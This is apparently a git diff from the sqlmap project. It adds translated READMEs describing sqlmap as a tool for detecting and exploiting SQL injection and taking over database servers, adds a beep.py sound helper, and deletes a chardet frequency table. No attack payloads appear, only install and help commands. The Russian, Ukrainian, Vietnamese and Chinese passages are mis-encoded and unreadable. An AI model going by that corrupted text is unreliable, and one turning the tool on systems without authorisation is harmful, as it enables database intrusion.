коробки Ñ [Python](https://www.python.org/download/) верÑии **2.7** и **3.x** на любой платформе. + +ИÑпользование +---- + +Чтобы получить ÑпиÑок оÑновных опций и вариантов выбора, иÑпользуйте: + + python sqlmap.py -h + +Чтобы получить ÑпиÑок вÑех опций и вариантов выбора, иÑпользуйте: + + python sqlmap.py -hh + +Ð’Ñ‹ можете найти пробный запуÑк [тут](https://asciinema.org/a/46601). +Чтобы получить обзор возможноÑтей sqlmap, ÑпиÑок поддерживаемых функций и опиÑание вÑех параметров и переключателей, а также примеры, вам рекомендуетÑÑ Ð¾Ð·Ð½Ð°ÐºÐ¾Ð¼Ð¸Ñ‚ÑÑ Ñ [пользовательÑким мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +СÑылки +---- + +* ОÑновной Ñайт: https://sqlmap.org +* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Канал новоÑтей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ОтÑлеживание проблем: https://github.com/sqlmapproject/sqlmap/issues +* ПользовательÑкий мануал: https://github.com/sqlmapproject/sqlmap/wiki +* ЧаÑто задаваемые вопроÑÑ‹ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md new file mode 100644 index 00000000000..d673b3e3aa8 --- /dev/null +++ b/doc/translations/README-sk-SK.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je open source nástroj na penetraÄné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekÄným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetraÄného testera a Å¡irokou Å¡kálou prepínaÄov vrátane odtlaÄkov databázy, cez naÄítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operaÄnom systéme prostredníctvom mimopásmových pripojení. + +Snímky obrazovky +---- + +![snímka obrazovky](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Môžete navÅ¡tíviÅ¥ [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonÅ¡truuje niektoré funkcie na wiki. + +InÅ¡talácia +---- + +Najnovší tarball si môžete stiahnuÅ¥ kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master). + +NajlepÅ¡ie je stiahnuÅ¥ sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme. + +Využitie +---- + +Na získanie zoznamu základných možností a prepínaÄov, použite: + + python sqlmap.py -h + +Na získanie zoznamu vÅ¡etkých možností a prepínaÄov, použite: + + python sqlmap.py -hh + +Vzorku behu nájdete [tu](https://asciinema.org/a/46601). +Ak chcete získaÅ¥ prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis vÅ¡etkých možností a prepínaÄov spolu s príkladmi, odporúÄame vám nahliadnuÅ¥ do [Používateľskej príruÄky](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linky +---- + +* Domovská stránka: https://sqlmap.org +* Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* SledovaÄ problémov: https://github.com/sqlmapproject/sqlmap/issues +* Používateľská príruÄka: https://github.com/sqlmapproject/sqlmap/wiki +* ÄŒasto kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md new file mode 100644 index 00000000000..46e5267e9e0 --- /dev/null +++ b/doc/translations/README-tr-TR.md @@ -0,0 +1,53 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap geliÅŸmiÅŸ tespit özelliÄŸinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine eriÅŸmek, dosya çalıştırmak gibi iÅŸlevleri de barındırmaktadır. + + +Ekran görüntüleri +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +Ä°sterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. + + +Kurulum +---- + +[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz. + +Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. + +Kullanım +---- + + +Bütün basit seçeneklerin listesini gösterir + + python sqlmap.py -h + +Bütün seçenekleri gösterir + + python sqlmap.py -hh + +Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduÄŸu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz + +BaÄŸlantılar +---- + +* Anasayfa: https://sqlmap.org +* Ä°ndirme baÄŸlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues +* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki +* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md new file mode 100644 index 00000000000..ab7814676b1 --- /dev/null +++ b/doc/translations/README-uk-UA.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap - це інÑтрумент Ð´Ð»Ñ Ñ‚ÐµÑÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ñ€Ð°Ð·Ð»Ð¸Ð²Ð¾Ñтей з відкритим Ñирцевим кодом, Ñкий автоматизує Ð¿Ñ€Ð¾Ñ†ÐµÑ Ð²Ð¸ÑÐ²Ð»ÐµÐ½Ð½Ñ Ñ– викориÑÑ‚Ð°Ð½Ð½Ñ Ð´ÐµÑ„ÐµÐºÑ‚Ñ–Ð² SQL-ін'єкцій, а також Ð·Ð°Ñ…Ð¾Ð¿Ð»ÐµÐ½Ð½Ñ Ñерверів баз даних. Він оÑнащений потужним механізмом виÑвленнÑ, безліччю приємних функцій Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ„ÐµÑійного теÑтувальника вразливоÑтей Ñ– широким Ñпектром Ñкриптів, Ñкі Ñпрощують роботу з базами даних - від відбитка бази даних до доÑтупу до базової файлової ÑиÑтеми та Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´ в операційній ÑиÑтемі через out-of-band з'єднаннÑ. + +Скриншоти +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Ви можете ознайомитиÑÑ Ð· [колекцією Ñкриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), Ñкі демонÑтрують деÑкі функції в wiki. + +Ð’ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ +---- + +Ви можете завантажити оÑтанню верÑÑ–ÑŽ tarball натиÑнувши [Ñюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або оÑтанню верÑÑ–ÑŽ zipball натиÑнувши [Ñюди](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Ðайкраще завантажити sqlmap шлÑхом ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap «працює з коробки» з [Python](https://www.python.org/download/) верÑÑ–Ñ— **2.7** та **3.x** на будь-Ñкій платформі. + +ВикориÑÑ‚Ð°Ð½Ð½Ñ +---- + +Щоб отримати ÑпиÑок оÑновних опцій Ñ– перемикачів, викориÑтовуйте: + + python sqlmap.py -h + +Щоб отримати ÑпиÑок вÑÑ–Ñ… опцій Ñ– перемикачів, викориÑтовуйте: + + python sqlmap.py -hh + +Ви можете знайти приклад Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ [тут](https://asciinema.org/a/46601). +Ð”Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб ознайомитиÑÑ Ð· можливоÑÑ‚Ñми sqlmap, ÑпиÑком підтримуваних функцій та опиÑом вÑÑ–Ñ… параметрів Ñ– перемикачів, а також прикладами, вам рекомендуєтьÑÑ ÑкориÑтатиÑÑ [інÑтрукцією кориÑтувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ПоÑÐ¸Ð»Ð°Ð½Ð½Ñ +---- + +* ОÑновний Ñайт: https://sqlmap.org +* ЗавантаженнÑ: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ВідÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼: https://github.com/sqlmapproject/sqlmap/issues +* ІнÑÑ‚Ñ€ÑƒÐºÑ†Ñ–Ñ ÐºÐ¾Ñ€Ð¸Ñтувача: https://github.com/sqlmapproject/sqlmap/wiki +* Поширенні Ð¿Ð¸Ñ‚Ð°Ð½Ð½Ñ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md new file mode 100644 index 00000000000..ceb2724552d --- /dev/null +++ b/doc/translations/README-vi-VN.md @@ -0,0 +1,52 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap là má»™t công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tá»± Ä‘á»™ng hóa quá trình phát hiện, khai thác lá»— hổng SQL injection và tiếp quản các máy chủ cÆ¡ sở dữ liệu. Công cụ này Ä‘i kèm vá»›i +má»™t hệ thống phát hiện mạnh mẽ, nhiá»u tính năng thích hợp cho ngÆ°á»i kiểm tra thâm nhập (pentester) và má»™t loạt các tùy chá»n bao gồm phát hiện, truy xuất dữ liệu từ cÆ¡ sở dữ liệu, truy cập file hệ thống và thá»±c hiện các lệnh trên hệ Ä‘iá»u hành từ xa. + +Ảnh chụp màn hình +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Bạn có thể truy cập vào [bá»™ sÆ°u tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nÆ¡i trình bày má»™t số tính năng có thể tìm thấy trong wiki. + +Cài đặt +---- + + +Bạn có thể tải xuống tập tin nén tar má»›i nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip má»›i nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Tốt hÆ¡n là bạn nên tải xuống sqlmap bằng cách clone vá» repo [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap hoạt Ä‘á»™ng hiệu quả vá»›i [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ Ä‘iá»u hành nào. + +Sá»­ dụng +---- + +Äể có được danh sách các tùy chá»n cÆ¡ bản và switch, hãy chạy: + + python sqlmap.py -h + +Äể có được danh sách tất cả các tùy chá»n và switch, hãy chạy: + + python sqlmap.py -hh + +Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). +Äể có cái nhìn tổng quan vá» sqlmap, danh sách các tính năng được há»— trợ và mô tả vá» tất cả các tùy chá»n, cùng vá»›i các ví dụ, bạn nên tham khảo [hÆ°á»›ng dẫn sá»­ dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). + +Liên kết +---- + +* Trang chủ: https://sqlmap.org +* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Nguồn cấp dữ liệu RSS vá» commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues +* HÆ°á»›ng dẫn sá»­ dụng: https://github.com/sqlmapproject/sqlmap/wiki +* Các câu há»i thÆ°á»ng gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md new file mode 100644 index 00000000000..b065c10a0fa --- /dev/null +++ b/doc/translations/README-zh-CN.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap 是一款开æºçš„渗é€æµ‹è¯•å·¥å…·ï¼Œå¯ä»¥è‡ªåŠ¨åŒ–进行SQL注入的检测ã€åˆ©ç”¨ï¼Œå¹¶èƒ½æŽ¥ç®¡æ•°æ®åº“æœåŠ¡å™¨ã€‚它具有功能强大的检测引擎,为渗é€æµ‹è¯•äººå‘˜æ供了许多专业的功能并且å¯ä»¥è¿›è¡Œç»„åˆï¼Œå…¶ä¸­åŒ…括数æ®åº“指纹识别ã€æ•°æ®è¯»å–和访问底层文件系统，甚至å¯ä»¥é€šè¿‡å¸¦å¤–æ•°æ®è¿žæŽ¥çš„æ–¹å¼æ‰§è¡Œç³»ç»Ÿå‘½ä»¤ã€‚ + +演示截图 +---- + +![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +ä½ å¯ä»¥æŸ¥çœ‹ wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解å„ç§ç”¨æ³•çš„示例 + +安装方法 +---- + +ä½ å¯ä»¥ç‚¹å‡» [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的æºä»£ç ï¼Œæˆ–者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的æºä»£ç . + +推è直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获å–最新的æºä»£ç : + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap å¯ä»¥è¿è¡Œåœ¨ [Python](https://www.python.org/download/) **2.7** å’Œ **3.x** 版本的任何平å°ä¸Š + +使用方法 +---- + +通过如下命令å¯ä»¥æŸ¥çœ‹åŸºæœ¬çš„用法åŠå‘½ä»¤è¡Œå‚æ•°: + + python sqlmap.py -h + +通过如下的命令å¯ä»¥æŸ¥çœ‹æ‰€æœ‰çš„用法åŠå‘½ä»¤è¡Œå‚æ•°: + + python sqlmap.py -hh + +ä½ å¯ä»¥ä»Ž [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外，你还å¯ä»¥æŸ¥çœ‹ [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)ã€‚èŽ·å– sqlmap 所有支æŒçš„特性ã€å‚æ•°ã€å‘½ä»¤è¡Œé€‰é¡¹å¼€å…³åŠè¯¦ç»†çš„使用帮助。 + +链接 +---- + +* 项目主页: https://sqlmap.org +* æºä»£ç ä¸‹è½½: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commitçš„ RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues +* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki +* 常è§é—®é¢˜ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py b/extra/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/extra/beep/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/extra/beep/beep.py b/extra/beep/beep.py new file mode 100644 index 00000000000..9e1acd04b0d --- /dev/null +++ b/extra/beep/beep.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +beep.py - Make a beep sound + +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import sys +import wave + +BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") + +def beep(): + try: + if sys.platform.startswith("win"): + _win_wav_play(BEEP_WAV_FILENAME) + elif sys.platform.startswith("darwin"): + _mac_wav_play(BEEP_WAV_FILENAME) + elif sys.platform.startswith("cygwin"): + _cygwin_beep(BEEP_WAV_FILENAME) + elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): + _linux_wav_play(BEEP_WAV_FILENAME) + else: + _speaker_beep() + except: + _speaker_beep() + +def _speaker_beep(): + sys.stdout.write('\a') # doesn't work on modern Linux systems + + try: + sys.stdout.flush() + except IOError: + pass + +# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html +def _cygwin_beep(filename): + os.system("play-sound-file '%s' 2>/dev/null" % filename) + +def _mac_wav_play(filename): + os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) + +def _win_wav_play(filename): + import winsound + + winsound.PlaySound(filename, winsound.SND_FILENAME) + +def _linux_wav_play(filename): + for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): + if not os.system("%s '%s' 2>/dev/null" % (_, filename)): + return + + import ctypes + + PA_STREAM_PLAYBACK = 1 + PA_SAMPLE_S16LE = 3 + BUFFSIZE = 1024 + + class struct_pa_sample_spec(ctypes.Structure): + _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] + + try: + pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + except OSError: + return + + wave_file = wave.open(filename, "rb") + + pa_sample_spec = struct_pa_sample_spec() + pa_sample_spec.rate = wave_file.getframerate() + pa_sample_spec.channels = wave_file.getnchannels() + pa_sample_spec.format = PA_SAMPLE_S16LE + + error = ctypes.c_int(0) + + pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) + if not pa_stream: + raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) + + while True: + latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error)) + if latency == -1: + raise Exception("Getting latency failed") + + buf = wave_file.readframes(BUFFSIZE) + if not buf: + break + + if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)): + raise Exception("Could not play file") + + wave_file.close() + + if pa.pa_simple_drain(pa_stream, ctypes.byref(error)): + raise Exception("Could not simple drain") + + pa.pa_simple_free(pa_stream) + +if __name__ == "__main__": + beep() diff --git a/extra/beep/beep.wav b/extra/beep/beep.wav new file mode 100644 index 00000000000..35903d8a853 Binary files /dev/null and b/extra/beep/beep.wav differ diff --git a/extra/chardet/big5freq.py b/extra/chardet/big5freq.py deleted file mode 100755 index c1b0f3cec08..00000000000 --- a/extra/chardet/big5freq.py +++ /dev/null @@ -1,923 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -# Big5 frequency table -# by Taiwan's Mandarin Promotion Council -# <http://www.edu.tw:81/mandr/> -# -# 128 --> 0.42261 -# 256 --> 0.57851 -# 512 --> 0.74851 -# 1024 --> 0.89384 -# 2048 --> 0.97583 -# -# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 -# Random Distribution Ration = 512/(5401-512)=0.105 -# -# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR - -BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 - -#Char to FreqOrder table -BIG5_TABLE_SIZE = 5376 - -Big5CharToFreqOrder = ( \ - 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 -3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 -1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 - 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 -3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 -4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 -5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 - 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 - 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 - 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 -2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 -1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 -3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 - 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 -1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 -3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 -2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 - 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 -3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 -1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 -5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 - 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 -5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 -1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 - 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 - 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 -3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 -3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 - 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 -2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 -2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 - 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 - 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 -3817,4212,2053,2361,1222,4524, 765,2419,1322, 